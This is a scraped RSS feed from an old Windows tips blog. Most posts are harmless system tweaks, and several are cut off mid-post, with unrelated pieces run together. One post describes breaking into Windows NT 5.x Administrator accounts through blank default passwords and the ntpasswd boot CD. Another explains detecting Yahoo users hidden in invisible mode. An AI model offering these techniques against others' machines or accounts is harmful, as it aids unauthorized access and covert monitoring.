I googled for sometime and here are my tested results…&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;First let me tell you coolest thing about hacks in this tutorial. They do not require targeted yahoo user to be on your friend list! Now..&lt;/p&gt;&lt;h3 style="font-size: 1.5em; "&gt;To Check Online Status:&lt;/h3&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;This will work only if user is online and NOT into invisible mode. Invisible part is covered later… &lt;img src="http://www.devilsworkshop.org/blog/wp-includes/images/smilies/icon_wink.gif" alt=";-)" class="wp-smiley" style="border-style: initial; border-color: initial; border-width: initial; border-color: initial; padding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; " /&gt;&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;strong&gt;First Official Way: &lt;/strong&gt;Go to Yahoos profile directory and check target user profile. Say you want to check status of &lt;strong&gt;someone &lt;/strong&gt;&lt;em&gt;(where &lt;strong&gt;someone&lt;/strong&gt; is Yahoo ID). &lt;/em&gt;Now suffix &lt;strong&gt;someone &lt;/strong&gt;to&lt;strong&gt; &lt;/strong&gt;URL&lt;strong&gt;http://profiles.yahoo.com/&lt;/strong&gt; so it will become &lt;strong&gt;http://profiles.yahoo.com/someone&lt;/strong&gt;. Open final URL in browser and the profile will have status indicator!&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;strong&gt;Another Way:&lt;/strong&gt; There are many simple sites which takes Yahoo ID and returns status of Yahoo user. I have tested &lt;a title="http://www.blockstatus.com/yahoo/status-checker" href="http://www.blockstatus.com/yahoo/status-checker" style="color: rgb(0, 124, 171); text-decoration: none; "&gt;http://www.blockstatus.com/yahoo/status-checker&lt;/a&gt; successfully!&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;This part is not a hack but official Yahoo feature documented &lt;a href="http://messenger.yahoo.com/addpresence.php" style="color: rgb(0, 124, 171); text-decoration: none; "&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;If you want PHP code to create a status-checker page of your own, &lt;a href="http://www.codewalkers.com/c/a/Site-Navigation-Code/Yahoo-Status/" style="color: rgb(0, 124, 171); text-decoration: none; "&gt;this&lt;/a&gt; page may help you.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;h3 style="font-size: 1.5em; "&gt;To Check Invisible Status:&lt;/h3&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;I tested and used a third-party program named Buddy-Spy! Unlike above this requires a Yahoo account. I strongly discourage using your own Yahoo ID. You better create a new one! &lt;img src="http://www.devilsworkshop.org/blog/wp-includes/images/smilies/icon_wink.gif" alt=";-)" class="wp-smiley" style="border-style: initial; border-color: initial; border-width: initial; border-color: initial; padding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; " /&gt;&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Following is a screenshot of my test result, which says everything.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;img src="http://www.devilsworkshop.org/blog/wp-content/uploads/2008/03/yahoo-visible.jpg" border="0" alt="Yahoo Visible" width="505" height="311" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; " /&gt;&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Also point to note is that I was not in friend-list of Yahoo account used for testing! &lt;img src="http://www.devilsworkshop.org/blog/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" style="border-style: initial; border-color: initial; border-width: initial; border-color: initial; padding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; " /&gt;&lt;/p&gt;&lt;/span&gt;</description><link>http://tips4com.blogspot.com/2009/02/check-who-is-invisibleonline-on-yahoo.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>30</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-3761347195008648794</guid><pubDate>Sat, 07 Feb 2009 11:34:00 +0000</pubDate><atom:updated>2009-02-07T03:37:20.053-08:00</atom:updated><title>Breaking Windows 2000/2003/XP/Vista Administrator Password</title><description>&lt;span class="Apple-style-span" style="color: rgb(17, 17, 17); font-family: Verdana; font-size: 10px; "&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Going by my word posting here about a simple tool which will break Windows 2000/XP/2003’s Administrator account’s password.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Before starting, for newbies…&lt;/p&gt;&lt;blockquote style="border-left-width: 5px; border-left-style: solid; border-left-color: rgb(241, 241, 241); padding-left: 10px; margin-left: 10px; font-style: italic; "&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Windows NT 5.0 = Windows 2000 (all edition)&lt;br /&gt;Windows NT 5.1 = Windows XP (all edition)&lt;br /&gt;Windows NT 5.2 = Windows 2003 (all edition)&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;So throughout this post I will refer our target as Windows NT 5.x (as following content are equally applicable to all Windows NT 5.x OS family).&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;So lets start the fun…&lt;br /&gt;You will be surprised to know that you can break into any Windows NT 5.x system without any software tool 80% of the time! For rest you need a software like below!&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;strong&gt;First lets get to 80% of the vulnerable system….&lt;/strong&gt;&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;In Windows NT 5.x, you can create any no. of user with different names, privileges and optionally password.&lt;br /&gt;One such account with highest privilege level, with user name “Administrator” is setup by default.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;At the time of installation Windows NT 5.x prompts for password but many systems are setup by vendors and other person. The end-user of this system is different than one who installed it. These lazy people are always in hurry and often left this password as blank.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;The irony comes next. In final step of installation you create an account with mostly your first name. Lock it with password(optionally) and start using the system. Now on welcome screen you see account(s) with different name. But have you never see this default “administrator” account unless you boot in “safe mode”.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;Now if you can’t see “administrator” account on screen (as with Windows XP login default screen), just press  &lt;span style="font-weight: bold; "&gt;“CTRL+ALT+DEL”&lt;/span&gt; and it will change login “screen” to login “box” where you can type “administrator” as user name! This is what works 80% of the time.&lt;/p&gt;&lt;p style="line-height: 160%; font-size: 1.2em; "&gt;&lt;strong&gt;Now for rest of the 20% system…. &lt;/strong&gt;&lt;br /&gt;There are literally more than 100’s of tool available on Internet and the tool I use is a small Live-CD named &lt;a href="http://home.eunet.no/pnordahl/ntpasswd/bootdisk.html" style="color: rgb(0, 124, 171); text-decoration: none; "&gt;ntpasswd&lt;/a&gt; .

If so, you can squeeze a little more performance out of your hard disk. This speeds up the performance of your hard disk by enhancing write caching. However, if your computer is not connected to a battery backup and you loose power you have a increased risk for data loss or corruption. If you have a laptop your chances are data loss or corruption are dramatically less since your laptop battery will kick on if your power source is lost. Let's get started:&lt;br /&gt;&lt;br /&gt;1. Click on the Start Button and key in Device Manager and hit Enter.&lt;br /&gt;2. Expand Disk Drives.&lt;br /&gt;3. Right click on your hard drive and select Properties.&lt;br /&gt;4. On the Policies tab, check Enable advanced performance.&lt;br /&gt;5. Hit OK and close Device Manager.</description><link>http://tips4com.blogspot.com/2008/07/enhance-sata-disk-performance.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-9220055566594709752</guid><pubDate>Mon, 14 Jul 2008 09:21:00 +0000</pubDate><atom:updated>2008-07-14T02:22:07.821-07:00</atom:updated><title>Enabling and Disabling Hibernate Mode in Vista..</title><description>Hibernate mode consumes disk space equal to the size of RAM.. so if you fall low disk space you can recover GB's as most of the ppl these days have RAM gr8tr than 2GB, without deleting any stuff..&lt;br /&gt;&lt;br /&gt;Steps to enable/disable hibernate mode..&lt;br /&gt;1.

Unlike System Restore in Windows XP, you could adjust the amount of disk usage from XP's Ststem Restore utility.&lt;br /&gt;&lt;br /&gt;Vista's System Restore keeps two types of restore points, one for shadow copies of files used to restore previous versions of a file that you want to recover due to corruption or deleting of files, and the typical restoring of a previoius saved system state. System Restore uses up to 15% of each NTFS drive on the system that is at least 1 GB.&lt;br /&gt;&lt;br /&gt;To determine how much disk space System Restore is using, the following command can be used:&lt;br /&gt;vssadmin list shadowstorage&lt;br /&gt;&lt;br /&gt;For the above command to run you must use elevated privileges:&lt;br /&gt;Click on the Start menu then click All Programs / Accessories&lt;br /&gt;Right Click on the Command Prompt option and from the drop down menu click on the Run as Administrator option&lt;br /&gt;At the command prompt type vssadmin list shadowstorage and Press Enter (NOTE: if the command does not run change directories to c:windowssystem32)&lt;br /&gt;After the vssadmin has executed you will see results similar to the following:&lt;br /&gt;&lt;br /&gt;Used Shadow Copy Storage space: 237.419 MB&lt;br /&gt;Allocated Shadow Copy Storage space: 400 MB&lt;br /&gt;Maximum Shadow Copy Storage space: 2.092 GB&lt;br /&gt;The output above shows space used on the C: drive by System Restore is 237.419 MB.&lt;br /&gt;&lt;br /&gt;The maximum space allocated for System restore is 2.092 GB&lt;br /&gt;&lt;br /&gt;To view the number of restore points you currently have on your Computer run the following command&lt;br /&gt;vssadmin list shadows&lt;br /&gt;&lt;br /&gt;Next, to reduce the allocated space used by Vista's System Restore, use the following command:&lt;br /&gt;vssadmin resize shadowstorage /on=[OnVolumeSpec:] /for=[ForVolumeSpec:] /maxsize=[MaxSizeSpec]&lt;br /&gt;&lt;br /&gt;Where&lt;br /&gt;&lt;br /&gt;OnVolumeSpec: is the drive letter, for examaple C&lt;br /&gt;ForVolumeSpec: is the drive letter, for example C&lt;br /&gt;MaxSizeSpec: is the maximum size you want System Restore to use, example 1GB&lt;br /&gt;&lt;br /&gt;example: vssadmin resize shadowstorage /On=C: /For=C: /Maxsize=1GB&lt;br /&gt;&lt;br /&gt;When decreasing the space allocated to System Restore, you will loose the earlier system restore points. The advantage is gaining extra free space. If you are concerned with losing the previous restore points, wait until you do not need them anymore before reducing the allocated space.&lt;br /&gt;&lt;br /&gt;If you plan on upgrading to Windows Vista or running a clean install and will need extra space, consider reducing the space after installation has completed.&lt;br /&gt;&lt;br /&gt;It is not recommended to disable System Restore. The capability to restore to a previous point in time or having the new Shadow Copy feature available can be a time saver if something goes wrong or if you delete a file.</description><link>http://tips4com.blogspot.com/2008/07/reduce-disk-space-used-by-windows-vista.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-4668979526231451595</guid><pubDate>Mon, 14 Jul 2008 09:19:00 +0000</pubDate><atom:updated>2008-07-14T02:20:02.476-07:00</atom:updated><title>Pop a banner each time Windows Boots</title><description>To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\WinLogon&lt;br /&gt;Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar.

This utility just sits in the system try and lets u open/close the tray.&lt;br /&gt;&lt;br /&gt;I just installed it bcoz some1 requested me to find out some way to add close cd option in the CD Drive context menu.&lt;br /&gt;&lt;br /&gt;Then after some R&amp;D, I got that a file cdeject.dll is installed by it and causes the open/close operation.&lt;br /&gt;&lt;br /&gt;So I just copied the DLL file and then uninstalled the s/w. Now the Insert option was not available in CD drive context menu. And thats what I wanted!&lt;br /&gt;&lt;br /&gt;Now I copied the DLL file to System32 folder, and added its entry in Registry.&lt;br /&gt;&lt;br /&gt;And VOILLA, I got the Insert option back.....&lt;br /&gt;&lt;br /&gt;So here is the step-by-step procedure:&lt;br /&gt;&lt;br /&gt;1.) D/l the attached file, extract it and copy the DLL file to "%windir%\System32" folder.&lt;br /&gt;2.) Copy following code in notepad:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}]&lt;br /&gt;@="CDEject Context Menu Shell Extension"&lt;br /&gt;&lt;br /&gt;[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}\InprocServer32]&lt;br /&gt;@="C:\\WINDOWS\\system32\\cdeject.dll"&lt;br /&gt;"ThreadingModel"="Apartment"&lt;br /&gt;&lt;br /&gt;[HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandler s\{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}]&lt;br /&gt;@="{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.) Save the file with any name but the extension must be .REG&lt;br /&gt;4.) Now run the file, it'll ask ur permission, accept it.&lt;br /&gt;5.)

Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet &amp; Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :&lt;br /&gt;&lt;br /&gt;Open up the Registry and go to :&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace&lt;br /&gt;&lt;br /&gt;Under that branch, select the key :&lt;br /&gt;&lt;br /&gt;{D6277990-4C6A-11CF-8D87-00AA0060F5BF}&lt;br /&gt;&lt;br /&gt;and delete it.&lt;br /&gt;&lt;br /&gt;This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.&lt;br /&gt;&lt;br /&gt;This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.</description><link>http://tips4com.blogspot.com/2008/07/speed-up-your-browsing-of-windows-2000.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-5580766350131830098</guid><pubDate>Mon, 14 Jul 2008 09:08:00 +0000</pubDate><atom:updated>2008-07-14T02:09:34.136-07:00</atom:updated><title>To make your Desktop Icons Transparen</title><description>Go to control Panel &gt; System, &gt; Advanced &gt; Performance area &gt; Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"</description><link>http://tips4com.blogspot.com/2008/07/to-make-your-desktop-icons-transparen.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-8863589310451323520</guid><pubDate>Mon, 14 Jul 2008 09:08:00 +0000</pubDate><atom:updated>2008-07-14T02:08:44.667-07:00</atom:updated><title>To Remove Windows XP's Messenger</title><description>Theoretically, you can get rid of it (as well as a few other things). Windows 2000 power users should already be familiar with this tweak.&lt;br /&gt;&lt;br /&gt;Fire up the Windows Explorer and navigate your way to the %SYSTEMROOT% \ INF folder. What the heck is that thingy with the percentage signs? It's a variable. For most people, %SYSTEMROOT% is C:\Windows. For others, it may be E:\WinXP. Get it? Okay, on with the hack! In the INF folder, open sysoc.inf (but not before making a BACKUP copy first). Before your eyes glaze over, look for the line containing "msmsgs" in it. Near the end of that particular line, you'll notice that the word "hide" is not so hidden. Go ahead and delete "hide" (so that the flanking commas are left sitting next to one another). Save the file and close it. Now, open the Add and Remove Programs applet in the Control Panel. Click the Add / Remove Windows Components icon. You should see "Windows Messenger" in that list. Remove the checkmark from its box, and you should be set. &lt;br /&gt;&lt;br /&gt;NOTE: there are other hidden system components in that sysoc.inf file, too. Remove "hide" and the subsequent programs at your own risk.</description><link>http://tips4com.blogspot.com/2008/07/to-remove-windows-xps-messenger.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3950247897801986933.post-8639897600427002368</guid><pubDate>Mon, 14 Jul 2008 09:06:00 +0000</pubDate><atom:updated>2008-07-14T02:07:20.097-07:00</atom:updated><title>Increase Your Virtual RAM</title><description>This makes your computer faster by using part of your HD space as virtual RAM. ( Takes around a gigabyte of space,when initialized. but still speeds up your computer greatly!)&lt;br /&gt;&lt;br /&gt;If your HD has less than 20GB of free space left then don't do this.&lt;br /&gt;&lt;br /&gt;Alright, this is how you do it:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Instructions:&lt;br /&gt;1. Right Click on "My Computer" icon and select "Properties".&lt;br /&gt;2. Click on the Advanced tab.&lt;br /&gt;3. Under Performance, click Settings.&lt;br /&gt;4. Then click the Advanced tab on the button that pops up.&lt;br /&gt;5. Under Virtual Memory at the bottom, click Change.&lt;br /&gt;6. Click the Custom Size button.&lt;br /&gt;7. For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although i use 4000), and for the Maximum size type in anywhere from 2000-2500 (although i use 6000).&lt;br /&gt;8. Click Set, and then exit out of all of the Windows.&lt;br /&gt;9. Finally, restart your computer.&lt;br /&gt;10. You now have a faster computer and 1-2gb of virtual RAM!</description><link>http://tips4com.blogspot.com/2008/07/increase-your-virtual-ram.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item></channel></rss>
